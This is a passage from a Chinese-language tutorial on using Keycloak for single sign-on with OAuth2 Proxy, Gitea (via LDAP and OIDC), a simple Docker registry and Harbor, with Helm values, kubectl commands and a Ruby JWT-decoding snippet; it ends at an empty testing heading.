&lt;p&gt;&lt;code&gt;cookie_refresh&lt;/code&gt; 告诉 OAuth2 Proxy 如果 OAuth2 Proxy Cookie 超过一分钟还没刷新，则刷新 Access Token。这就和 Keycloak 的行为一致了，不会再次把过期 Token 加入请求数据之中。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;使用 OIDC Provider 而非 Keycloak Provider 的原因是，目前 Keycloak Provider 还不支持 Token 刷新。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;cookie_expire&lt;/code&gt; 设置 OAuth2 Proxy 的 Cookie 生命周期为 30 分钟，超时之后用户会被转向 KeyCloak 重新进行验证。这就和 KeyCloak 的会话过期保持了同步。&lt;/p&gt;

&lt;h3 id=&#34;限制特定群组的访问&#34;&gt;限制特定群组的访问&lt;/h3&gt;

&lt;p&gt;在 OAuth2 Proxy 配置中加入一行 &lt;code&gt;allowed_groups = [&amp;quot;/DemoAdmin&amp;quot;]&lt;/code&gt;，就能够仅允许属于 &lt;code&gt;DemoAdin&lt;/code&gt; 群组的用户进行登录。这种情况下，组外用户在登录失败的时候会看到一个 500 的返回码，而不是一个说明实际原因的页面。用户登录时，如果没有在许可组中找到记录，OAuth2 Proxy 就会返回 400，如果我们看看 Nginx 的日志，会看到 &lt;code&gt;auth request unexpected status: 400 while sending to client&lt;/code&gt; 这样的信息。&lt;/p&gt;

&lt;p&gt;所以这种方法虽然适用于简单的内部应用，但是在应用中处理群组鉴权会有更好的用户体验。&lt;/p&gt;

&lt;h3 id=&#34;和-token-打交道&#34;&gt;和 Token 打交道&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;jwt-ruby-example/main.rb&lt;/code&gt; 是一个简单的 Ruby 程序，其中包含了处理 Token 的技术。下面的代码很直白：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ruby&#34;&gt;require &#39;jwt&#39;

public_key_string = &amp;quot;&amp;quot;&amp;quot;
PUBLIC_KEY_GOES_HERE
&amp;quot;&amp;quot;&amp;quot;

public_key = OpenSSL::PKey::RSA.new(public_key_string)

token = &amp;quot;TOKEN_GOES_HERE&amp;quot;

decoded_token = JWT.decode token, public_key, true, { algorithm: &#39;RS256&#39; }

puts decoded_token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;PUBLIC_KEY_GOES_HERE&lt;/code&gt; 需要用公钥来替换，可以在 Keycloak 的 &lt;code&gt;Realm Settings&lt;/code&gt; -&amp;gt; &lt;code&gt;Keys&lt;/code&gt; -&amp;gt; &lt;code&gt;RS256&lt;/code&gt; -&amp;gt; &lt;code&gt;Public Key&lt;/code&gt; 中找到。&lt;/p&gt;

&lt;p&gt;而 &lt;code&gt;TOKEN_GOES_HERE&lt;/code&gt; 需要从我们的应用日志或者是 Headers 中获取并使用 &lt;code&gt;ruby main.rb&lt;/code&gt;（在运行 &lt;code&gt;bundle install&lt;/code&gt; 之后）解码获得。&lt;/p&gt;

&lt;p&gt;注意 Keycloak Token 的缺省过期时间是 1 分钟，所以拷贝黏贴动作最好快一点。&lt;/p&gt;

&lt;p&gt;输出内容会被解压为 Ruby Map。所以在完整的 Web 应用中（例如 Rails 或者 Sinatra），可以需要根据用户所属群组或者用户登录 Email 进行相应的判断。&lt;/p&gt;

&lt;h2 id=&#34;gitea-单点登录&#34;&gt;Gitea 单点登录&lt;/h2&gt;

&lt;p&gt;Gitea 是一个开源的轻量级 Git 服务。顺便说一句，Gitea（尤其是和 Drone CI 协同）是我最喜欢的开源软件。&lt;/p&gt;

&lt;p&gt;Gitea 的轻量和易用特性，非常适用于 Git Push 发布以及持续集成。&lt;/p&gt;

&lt;p&gt;这里我们要配置 OpenLDAP 来进行中心化的用户管理并提供单点登录。我们也会配置 OpenID Connect，但是可能会有一些问题。&lt;/p&gt;

&lt;h3 id=&#34;安装-gitea&#34;&gt;安装 Gitea&lt;/h3&gt;

&lt;p&gt;本文我们主要会聚焦于配置 Gitea 使用 LDAP 进行认证的过程，因此我们这里只会包括 Web 界面的设置。&lt;/p&gt;

&lt;p&gt;可能需要根据集群现状编辑 &lt;code&gt;gitea/values-gitea.yml&lt;/code&gt; 中的 Ingress 主机名以及 HTTPS 的相关配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;itea:
  domain: gitea-keycloak.ssotest.staging.talkingquickly.co.uk 
  protocol: http
  installLock: &amp;quot;false&amp;quot;

ingress:
  enabled: true
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-staging
  hosts:
    - host: gitea-keycloak.ssotest.staging.talkingquickly.co.uk
      paths: [&#39;/&#39;]
  tls:
   - secretName: gitea-keycloak-https-secret
     hosts:
       - gitea-keycloak.ssotest.staging.talkingquickly.co.uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编辑结束之后，用 Gitea 安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm3 upgrade --install gitea-keycloak ./charts/gitea --values ./gitea/values-gitea.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装结束之后，我们在 Gitea Pod 里用客户端创建一个初始用户 &lt;code&gt;administrator&lt;/code&gt;，注意修改其中的 &lt;code&gt;YOUR_PASSWORD&lt;/code&gt; 和 &lt;code&gt;YOUR_EMAIL&lt;/code&gt; 字段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl exec -it --namespace identity \
      $(kubectl get pods -n identity --selector=&#39;app.kubernetes.io/instance=gitea&#39; -o jsonpath=&#39;{.items[0].metadata.name}&#39;) \
      -- gitea admin user create --username YOUR_EMAIL --password YOUR_PASSWORD --email YOUR_EMAIL --admin --access-token --must-change-password=false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们就能登录 Gitea 实例了。&lt;/p&gt;

&lt;h3 id=&#34;gitea-的-ldap-配置&#34;&gt;Gitea 的 LDAP 配置&lt;/h3&gt;

&lt;p&gt;Gitea 支持的 ODIC 登录仅适用于现存用户，不利于中心化的用户管理，所以我们选用 LDAP。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/go-gitea/gitea/issues/1124?_pjax=%23js-repo-pjax-container#issuecomment-284911694&#34; target=&#34;_blank&#34;&gt;Github 上的 Gitea 仓库有个 Issue&lt;/a&gt; 解释了 OIDC 和 LDAP 的差异。&lt;/p&gt;

&lt;p&gt;用 &lt;code&gt;administrator&lt;/code&gt; 身份登录 Gitea，并进入 &lt;code&gt;Site Administrator&lt;/code&gt; -&amp;gt; &lt;code&gt;Authentication Sources&lt;/code&gt;，在 &lt;code&gt;Add Authentication Source&lt;/code&gt; 选择 &lt;code&gt;LDAP (via BindDN)&lt;/code&gt; 作为认证源。进行如下配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authentication Name&lt;/strong&gt;：&lt;code&gt;OpenLDAP&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Protocol&lt;/strong&gt;：&lt;code&gt;Unencrypted&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host&lt;/strong&gt;：&lt;code&gt;openldap.identity.svc.cluster.local&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port&lt;/strong&gt;：&lt;code&gt;389&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind DN&lt;/strong&gt;：&lt;code&gt;cn=readonly,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind Password&lt;/strong&gt;：这个应该是在 &lt;code&gt;values-openldap.yml&lt;/code&gt; 文件中设置的只读用户密码；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User Search Base&lt;/strong&gt;：&lt;code&gt;ou=People,dc=k4stest4,dc=talkingquickly,dc=co,dc=uk&lt;/code&gt; 注意根据实际情况替换 &lt;code&gt;dc&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User Filter&lt;/strong&gt;：&lt;code&gt;(&amp;amp;(objectClass=inetOrgPerson)(uid=%s))&lt;/code&gt; 的配置允许所有用户登录 Gitea，当然可以创建更复杂的过滤器，只允许特定群组（例如 &lt;code&gt;Engineers&lt;/code&gt;）成员登录，&lt;a href=&#34;https://confluence.atlassian.com/kb/how-to-write-ldap-search-filters-792496933.html&#34; target=&#34;_blank&#34;&gt;How to write ldap search filters&lt;/a&gt; 一文讲解了过滤器编写方面的知识。&lt;code&gt;uid=%s&lt;/code&gt; 让用户可以使用用户名登录，可以修改过滤器同时匹配邮件和用户名；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Username Attribute&lt;/strong&gt;：&lt;code&gt;uid&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;First Name Attribute&lt;/strong&gt;：&lt;code&gt;cn&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Surname attribute&lt;/strong&gt;：&lt;code&gt;sn&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email Attribute&lt;/strong&gt;：&lt;code&gt;mail&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://docs.gitea.io/en-us/authentication/&#34; target=&#34;_blank&#34;&gt;Gitea LDAP 文档&lt;/a&gt; 中介绍了更多的细节内容。&lt;/p&gt;

&lt;p&gt;注意如果我们要用配置管理工具管理 Gitea，可以使用前面创建管理账号的方法。要用 CLI 创建 LDAP 配置可以参考 &lt;a href=&#34;https://docs.gitea.io/en-us/command-line/&#34; target=&#34;_blank&#34;&gt;Gitea 的命令文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;如果回到 Gitea 的登录页面，我们会发现可以直接用 Keycloak 中创建的用户凭据登录。注意要使用 &lt;code&gt;master realm&lt;/code&gt; 中的用户而非管理用户。&lt;/p&gt;

&lt;p&gt;这个过程没有重定向，密码认证会在后台执行。如果我们进入该用户的 &lt;code&gt;security settings&lt;/code&gt; 页面，因为用户是外部托管的，无法在 Gitea 中修改密码，只能在 Keycloak 做管理。&lt;/p&gt;

&lt;h3 id=&#34;配置-gitea-使用-openid&#34;&gt;配置 Gitea 使用 OpenID&lt;/h3&gt;

&lt;p&gt;OpenID Connect 无法在 Gitea 中使用完整的 SSO。（Gitea 的）底层用户必须已经存在，对于已经登录的用户是可以配置的，要配置 Keycloak 的 OIDC，从而用户可以通过 Keycloak 流程进行登录，而不用直接在 Gitea 中输入他们的 Keycloak 用户名和密码。&lt;/p&gt;

&lt;p&gt;这种方式的唯一好处就是，扩展使用 Keycloak 让用户能够更方便的登录，少输入用户名和密码。所以这个选项不像其它方法一样完整。&lt;/p&gt;

&lt;p&gt;在 Keycloak 管理界面中，进入侧面菜单的 &lt;code&gt;Clients&lt;/code&gt; 页面，并选择 &lt;code&gt;Create&lt;/code&gt;。给 Gitea 输入 &lt;code&gt;Client ID&lt;/code&gt; 并设置 &lt;code&gt;Client Protocol&lt;/code&gt; 为 &lt;code&gt;openid-connect&lt;/code&gt;，设置如下内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;：&lt;code&gt;Gitea&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;：&lt;code&gt;confidential&lt;/code&gt; 要生成客户端 Secret，就需要这样填写；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid Redirect URI&amp;rsquo;s&lt;/strong&gt;：&lt;code&gt;https://GITEA_INGRESS_URL/&lt;/code&gt;（例如 &lt;a href=&#34;https://gitea-keycloak.k4stest4.talkingquickly.co.uk/*）&#34; target=&#34;_blank&#34;&gt;https://gitea-keycloak.k4stest4.talkingquickly.co.uk/*）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;保存之后，就可以在 &lt;code&gt;Credentials&lt;/code&gt; 页面中找到客户端的 Secret。&lt;/p&gt;

&lt;p&gt;在 Gitea 中进入 &lt;code&gt;Site Administration&lt;/code&gt; 并选择 &lt;code&gt;Authentication Sources&lt;/code&gt;，然后选择 &lt;code&gt;Add Authentication Source&lt;/code&gt;，填写下列内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authentication Type&lt;/strong&gt;：&lt;code&gt;OAuth2&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authentication Name&lt;/strong&gt;：&lt;code&gt;Keycloak&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth2 Provider&lt;/strong&gt;：&lt;code&gt;OpenID Connect&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client ID&lt;/strong&gt;：&lt;code&gt;gitea&lt;/code&gt;（创建客户端应用时输入的值）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client Secret&lt;/strong&gt;：&lt;code&gt;YOUR_SECRET&lt;/code&gt;（在 Keycloak 客户端页面的 &lt;code&gt;Credentials&lt;/code&gt; 卡片上为 Gitea 客户端创建的 Secret）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenID Connect Auto Discovery URL&lt;/strong&gt;：&lt;code&gt;https://YOUR_KEYCLOAK_INGRESS_URL/auth/realms/master/.well-known/openid-configuration&lt;/code&gt; 用 Keycloak 的 Ingress 主机名替换  &lt;code&gt;YOUR_KEYCLOAK_INGRESS_URL&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;需要着重关注的是，Gitea 会在创建 Provider 的时候进行证书认证，所以如果 SSL 证书无效的时候是无法完成的。&lt;/p&gt;

&lt;p&gt;在尝试登录之前，我们需要给在 Keycloak 中创建的用户设置一个密码。可以通过进入 Keycloak 用户页面，选择 &lt;code&gt;Credentials&lt;/code&gt; 卡片并设置一个密码，如果设置 &lt;code&gt;Temporary&lt;/code&gt; 为 1，则用户登录时，会被要求设置新密码。&lt;/p&gt;

&lt;p&gt;这样我们就可以进入 Gitea 的登录页面，点击 &lt;code&gt;Sign in with OpenID Connect&lt;/code&gt; 选项（如果已经登录，就需要登出当前用户）。这样会重定向到 Keycloak 登录页面，在这页面中我们可以用前面创建的 Keycloak 用户名进行登录。&lt;/p&gt;

&lt;p&gt;使用 Keycloak 的用户名和密码进行登录之后，就会重定向回到 Gitea。&lt;/p&gt;

&lt;h2 id=&#34;简易的-docker-镜像库&#34;&gt;简易的 Docker 镜像库&lt;/h2&gt;

&lt;p&gt;本节我们会讲解如何使用 Keycloak 作为 Docker 镜像库的认证层。这样用户必须使用 Keycloak 中的有效凭据完成 &lt;code&gt;docker login&lt;/code&gt; 才能够进行 &lt;code&gt;push&lt;/code&gt; 和 &lt;code&gt;pull&lt;/code&gt;。注意这里没有什么访问控制，所有 Keycloak 用户都能够对任何镜像执行任何动作。要进行细粒度的控制，还是需要使用 Harbor。&lt;/p&gt;

&lt;h3 id=&#34;配置-keycloak&#34;&gt;配置 Keycloak&lt;/h3&gt;

&lt;p&gt;Keycloak 的 Helm values 文件中需要加入如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;args:
  - -Dkeycloak.profile.feature.docker=enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就能启用 Docker 镜像库的支持了。&lt;/p&gt;

&lt;h3 id=&#34;keycloak-中的-docker-registry-配置&#34;&gt;Keycloak 中的 Docker registry 配置&lt;/h3&gt;

&lt;p&gt;在 Keycloak 中创建新的客户应用，命名为 &lt;code&gt;simple-docker-registry&lt;/code&gt;，协议选择 &lt;code&gt;docker-v2&lt;/code&gt;。在后续界面中进入 &lt;code&gt;install&lt;/code&gt; 卡片，选择 &lt;code&gt;Docker Compose YAML&lt;/code&gt;，然后点击 &lt;code&gt;Download&lt;/code&gt;。我们并不是要使用 Docker Compose，这个过程是为了便捷地获取证书，用于创建 Kubernetes Secret。&lt;/p&gt;

&lt;h3 id=&#34;创建-secret&#34;&gt;创建 Secret&lt;/h3&gt;

&lt;p&gt;从 Keycloak 中得到 Docker Compose YAML 压缩包之后，解压到本地文件夹，会看到其中包含了 &lt;code&gt;certs/localhost_trust_chain.pem&lt;/code&gt; 文件。我们可以用下面的命令创建 Kubernetes：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl create secret generic docker-registry-auth-token-rootcertbundle --from-file YOUR_PATH_TO/certs/localhost_trust_chain.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述命令中需要用本地路径来替换 &lt;code&gt;YOUR_PATH_TO/certs/localhost_trust_chain.pem&lt;/code&gt;。执行之后就创建了一个名为 &lt;code&gt;docker-registry-auth-token-rootcertbundle&lt;/code&gt; 的 Secret，其中包含了必要的证书内容。&lt;/p&gt;

&lt;h3 id=&#34;配置镜像仓库&#34;&gt;配置镜像仓库&lt;/h3&gt;

&lt;p&gt;用 Helm 安装 Docker 镜像仓库的文档：&lt;a href=&#34;https://github.com/twuni/docker-registry.helm&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;https://github.com/twuni/docker-registry.helm&lt;/code&gt;&lt;/a&gt;。我们的配置文件大致如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;configData:
  auth:
    token:
      realm: https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master/protocol/docker-v2/auth
      service: simple-docker-registry
      issuer: https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master
      rootcertbundle: /root-cert-bundle/localhost_trust_chain.pem
ingress:
  enabled: true
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-production
  hosts:
    - registry-keycloak.ssotest.staging.talkingquickly.co.uk

  tls:
  - hosts:
    - registry-keycloak.ssotest.staging.talkingquickly.co.uk
    secretName: keycloak-registry-tls-secret

extraVolumes:
  - name: docker-registry-auth-token-rootcertbundle
    secret:
      secretName: docker-registry-auth-token-rootcertbundle

extraVolumeMounts:
  - mountPath: /root-cert-bundle
    name: docker-registry-auth-token-rootcertbundle
    readOnly: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的配置来源于 &lt;a href=&#34;https://www.keycloak.org/docs/4.8/securing_apps/#docker-registry-configuration&#34; target=&#34;_blank&#34;&gt;Keycloak 文档&lt;/a&gt;，&lt;code&gt;configData&lt;/code&gt; 字段配置使用基于 Keycloak 的 Token 认证。&lt;/p&gt;

&lt;p&gt;接下来需要更新 Ingress 定义，加入 Docker 镜像库的 URL，例如 &lt;code&gt;registry-keycloak.ssotest.staging.talkingquickly.co.uk&lt;/code&gt;。&lt;code&gt;nginx.ingress.kubernetes.io/proxy-body-size: &amp;quot;0&amp;quot;&lt;/code&gt; 这一行注解移除了 Ningx 的最大 Body 长度限制，避免推送大镜像时出现的 &lt;code&gt;413 Request Entity Too Large&lt;/code&gt; 错误信息。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;extraVolumes&lt;/code&gt; 节创建了一个存储卷，用来加载我们的 &lt;code&gt;docker-registry-auth-token-rootcertbundle&lt;/code&gt; Secret。&lt;code&gt;extraVolumeMounts&lt;/code&gt; 一节将这个卷加载到 Docker 镜像库的 &lt;code&gt;/root-cert-bundle&lt;/code&gt; 路径，和 &lt;code&gt;configData&lt;/code&gt; 中配置的 &lt;code&gt;rootcertbundle&lt;/code&gt; 一致。&lt;/p&gt;

&lt;h3 id=&#34;安装-docker-镜像库&#34;&gt;安装 Docker 镜像库&lt;/h3&gt;

&lt;p&gt;使用 Helm 安装镜像仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm repo add twuni https://helm.twun.io
helm upgrade --install simple-docker-registry twuni/docker-registry --values ./docker-registry/values-docker-registry.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;测试镜像库&#34;&gt;测试镜像库&lt;/h3&gt;

&lt;p&gt;我们需要等待一段时间，让 LetsEncrypt 生成证书，我们可以用 &lt;code&gt;kubectl get certificates&lt;/code&gt; 命令查看进度。完成之后就能够进行登录了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker login registry-keycloak.ssotest.staging.talkingquickly.co.uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上边的 URL 应该替换为我们的 Ingress 地址。可以输入 Keycloak 用户名进行认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;sername: someusername
Password:
WARNING! Your password will be stored unencrypted in /home/ben/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;测试一下镜像推送和拉取：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker image tag SOME_IMAGE_REF registry-keycloak.ssotest.staging.talkingquickly.co.uk/SOME_NAME
docker push registry-keycloak.ssotest.staging.talkingquickly.co.uk/SOME_NAME
docker pull registry-keycloak.ssotest.staging.talkingquickly.co.uk/SOME_NAME
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到两种操作都成功了。&lt;/p&gt;

&lt;p&gt;登出再试试看：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker logout registry-keycloak.ssotest.staging.talkingquickly.co.uk
docker pull registry-keycloak.ssotest.staging.talkingquickly.co.uk/SOME_NAME
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会看到拒绝访问的错误信息。&lt;/p&gt;

&lt;h3 id=&#34;在-kubernetes-中使用&#34;&gt;在 Kubernetes 中使用&lt;/h3&gt;

&lt;p&gt;为了访问仓库中的镜像，需要创建合适的 Image Pull Secret，可以参看 &lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&#34; target=&#34;_blank&#34;&gt;Kubernetes 文档&lt;/a&gt;完成这个过程。&lt;/p&gt;

&lt;h3 id=&#34;总结&#34;&gt;总结&lt;/h3&gt;

&lt;p&gt;我们现在就有了一个只允许 Keycloak 认证用户访问的 Docker 镜像库。想要更高级的配置，例如只有特定用户才能访问仓库，或者更细粒度的访问控制，应该换用 Harbor。&lt;/p&gt;

&lt;h2 id=&#34;用-keycloak-为-harbor-提供单点登录-实现完整镜像仓库功能&#34;&gt;用 Keycloak 为 Harbor 提供单点登录，实现完整镜像仓库功能&lt;/h2&gt;

&lt;h3 id=&#34;安装-harbor&#34;&gt;安装 Harbor&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/goharbor/harbor-helm&#34; target=&#34;_blank&#34;&gt;官方&lt;/a&gt;提供了 Helm Chart。&lt;/p&gt;

&lt;p&gt;和多数 Helm Chart 一样，&lt;a href=&#34;https://github.com/goharbor/harbor-helm/blob/master/values.yaml&#34; target=&#34;_blank&#34;&gt;values 文件&lt;/a&gt;内容相当丰富。接下来我们会定制 Ingress 内容和 TLS 证书。必须在安装完成之后使用 Web UI 或者 API 配置 OIDC。我们的 Values 配置包含如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;expose:
  type: ingress
  tls:
    certSource: secret
    secret:
      secretName: harbor-ingress-tls
  ingress:
    annotations:
      cert-manager.io/cluster-issuer: letsencrypt-production

    hosts:
      core: core.harbor.ssotest.staging.talkingquickly.co.uk

harborAdminPassword: 85nsafg87ehfgk0fgsgfg6u
externalURL: https://core.harbor.ssotest.staging.talkingquickly.co.uk
secretKey: &amp;quot;8d10dlskeit8fhtg&amp;quot;

notary:
  enabled: false

metrics:
  enabled: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有几个需要注意的配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;certSource&lt;/code&gt;：&lt;code&gt;secret&lt;/code&gt;，其中包含 &lt;code&gt;secretName: harbor-ingress-tls&lt;/code&gt; 告知 Harbor 使用 Cert Manager 为 Ingress 生成的证书，而不是自行生成。这样就避免 &lt;code&gt;docker login&lt;/code&gt; 时出现 &lt;code&gt;x509: certificate signed by unknown authority&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;core&lt;/code&gt;：Ingress URL 应该用 Harbor URL 替换；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;harbourAdminPassword&lt;/code&gt;、&lt;code&gt;externalURL&lt;/code&gt; 以及 &lt;code&gt;secretKey&lt;/code&gt;：都要替换为当前环境的配置内容，&lt;code&gt;secretKey&lt;/code&gt; 应该是一个随机的 16 字符。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;加入 Helm 仓库，并安装 Harbor：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm repo add harbor https://helm.goharbor.io
helm upgrade --install harbor-registry harbor/harbor --values=./harbor/values-harbor.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;命令结束之后，我们就可以使用 Ingress URL 访问 Harbor 了，用户名是 &lt;code&gt;admin&lt;/code&gt;，密码则是 &lt;code&gt;harbourAdminPassword&lt;/code&gt; 中的配置内容。这些组件启动需要一段时间，通常还会看到一些 &lt;code&gt;CrashLoopBackoff&lt;/code&gt; 之类的信息出现。&lt;/p&gt;

&lt;p&gt;记住还不能用 Harbor 管理员账号进行 &lt;code&gt;docker login&lt;/code&gt;，目前 Harbor 中还没有任何的常规用户。因为要切换到 OIDC 登录，所以除了管理用户，我们不会创建任何常规用户。如果我们现在创建了测试用户，然后再删掉，我们还是不能切换到 OIDC 登录。&lt;/p&gt;

&lt;h3 id=&#34;创建-keycloak-客户端应用&#34;&gt;创建 Keycloak 客户端应用&lt;/h3&gt;

&lt;p&gt;在 Keycloak 中创建一个新的客户端应用，ID 为 &lt;code&gt;harbor&lt;/code&gt;，客户端协议为 &lt;code&gt;openid-connect&lt;/code&gt;，并进行如下配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;：&lt;code&gt;confidential&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid Redirect URIs&lt;/strong&gt;：&lt;code&gt;https://YOUR_HARBOR_CORE_INGRESS_DOMAIN/c/oidc/callback&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然后保存客户端应用配置，记录 &lt;code&gt;credentials&lt;/code&gt; 卡片的内容。&lt;/p&gt;

&lt;p&gt;最后来到客户端应用的 &lt;code&gt;Mappers&lt;/code&gt; 卡片创建如下的协议映射关系：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;：&lt;code&gt;Groups&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mapper Type&lt;/strong&gt;：&lt;code&gt;Group Membership&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token Claim Name&lt;/strong&gt;：&lt;code&gt;groups&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All Other Options&lt;/strong&gt;：&lt;code&gt;On&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;配置-harbor-oidc&#34;&gt;配置 Harbor OIDC&lt;/h3&gt;

&lt;p&gt;通过 Ingress 地址使用用户名 &lt;code&gt;admin&lt;/code&gt; 和 &lt;code&gt;harborAdminPassword&lt;/code&gt; 中配置的密码登录到 Harbor 界面。进入 &lt;code&gt;Administration&lt;/code&gt; 页面，接下来打开 &lt;code&gt;Configuration&lt;/code&gt; 并选择 &lt;code&gt;Authentication&lt;/code&gt; 卡片，修改 &lt;code&gt;Auth Mode&lt;/code&gt; 为 &lt;code&gt;OIDC&lt;/code&gt;，输入下列配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OIDC Provider Name&lt;/strong&gt;：&lt;code&gt;Keycloak&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OIDC Endpoint&lt;/strong&gt;：&lt;code&gt;https://YOUR_KEYCLOAK_BASE_URL/auth/realms/YOURREALM&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OIDC Client ID&lt;/strong&gt;：&lt;code&gt;harbor&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OIDC Client Secret&lt;/strong&gt;：前面记录的客户端应用凭据；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Group Claim Name&lt;/strong&gt;：&lt;code&gt;groups&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OIDC Scope&lt;/strong&gt;：&lt;code&gt;openid,profile,email,offline_access&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify Certificate&lt;/strong&gt;：根据实际情况决定；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic Onboarding&lt;/strong&gt;：&lt;code&gt;checked&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Username Claim&lt;/strong&gt;：&lt;code&gt;preferred_username&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然后就可以使用 &lt;code&gt;Test OIDC Server&lt;/code&gt; 按钮来测试配置，成功后点击 &lt;code&gt;Save&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;测试&#34;&gt;测试&lt;/h3&gt;

